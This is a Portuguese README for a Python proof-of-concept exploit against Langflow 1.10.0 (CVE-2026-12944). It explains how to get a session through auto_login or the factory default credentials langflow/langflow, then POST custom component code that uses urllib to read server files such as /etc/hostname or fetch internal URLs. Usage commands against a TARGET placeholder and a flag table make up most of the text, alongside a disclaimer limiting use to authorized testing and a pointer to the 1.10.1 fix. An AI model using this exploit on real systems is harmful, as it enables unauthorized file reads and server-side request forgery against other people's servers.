
PoC em Python para CVE-2026-12944, uma vulnerabilidade de SSRF via urllib e leitura de arquivos no Langflow 1.10.0. Identifica versões e explora o endpoint custom_component.
Langflow 1.10.0 urllib SSRF
Langflow OSS ≤ 1.10.0 — execução de código em componente personalizado via urllib.request / socket. A denylist do scanner de componentes omitia esses módulos da stdlib. A IBM corrigiu isso na 1.10.1.
A IBM classifica como PR:L. O sink de execução é POST /api/v1/custom_component e essa chamada requer um cookie de sessão / bearer token. Como este PoC obtém um:
--test não autentica. Apenas faz GET /api/v1/version (além de um GET / de conectividade).--read / --fetch autenticam primeiro, depois fazem POST do componente.LANGFLOW_AUTO_LOGIN. O script faz e, se o JSON tiver , envia . Sem nome de usuário ou senha.GET /api/v1/auto_loginaccess_tokenAuthorization: Bearer …POST /api/v1/login com --uname / --password como application/x-www-form-urlencoded (username, password). Os padrões de fábrica são langflow / langflow.POST /api/v1/custom_component com {"code": …} que chama urllib.request.urlopen(...).--uname / --password existem apenas para o passo 4. Não são usados em uma instalação padrão.
Apenas para testes autorizados. Não execute isto contra sistemas que você não possui ou não tem permissão para testar.
Requer: Python 3, apenas biblioteca padrão.
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
| Flag | O que faz |
|---|---|
-u / --url | URL base do Langflow (obrigatório). http:// ou https://. Um hostname sem esquema é tentado como HTTPS primeiro, depois HTTP. Redirecionamentos http→https mantêm o POST. Certificados TLS inválidos são tentados novamente sem verificação; --insecure ignora a verificação desde o início |
--test | Apenas fingerprint: GET /api/v1/version (público). Sem login, sem custom_component |
--read PATH | Dispara o gadget: leitura file:// via urllib.request de PATH (executa no servidor) |
--fetch URL | SSRF: urllib.request.urlopen(URL) e imprime o corpo |
--uname / --password | Apenas se AUTO_LOGIN estiver desativado (padrões de fábrica: langflow / langflow) |
--insecure | Ignora a verificação TLS |
--timeout | Timeout HTTP em segundos (padrão 30) |
Endpoint do --test: GET /api/v1/version. Um 200 com "version" / "main_version" imprime VERSION, depois IN_WINDOW se essa string for 1.0.0–1.10.0, depois PRESENT. Ele nunca acessa /api/v1/auto_login ou /api/v1/custom_component.
--read / --fetch acessam GET /api/v1/auto_login (ou POST /api/v1/login), depois POST /api/v1/custom_component.
Stdout: VERSION, IN_WINDOW, OUT_OF_WINDOW, PRESENT, VULNERABLE, NEED_AUTH, NOT_FOUND, NOT_VULNERABLE, READ.

CVE: CVE-2026-12944. Boletim da IBM; atualize para 1.10.1.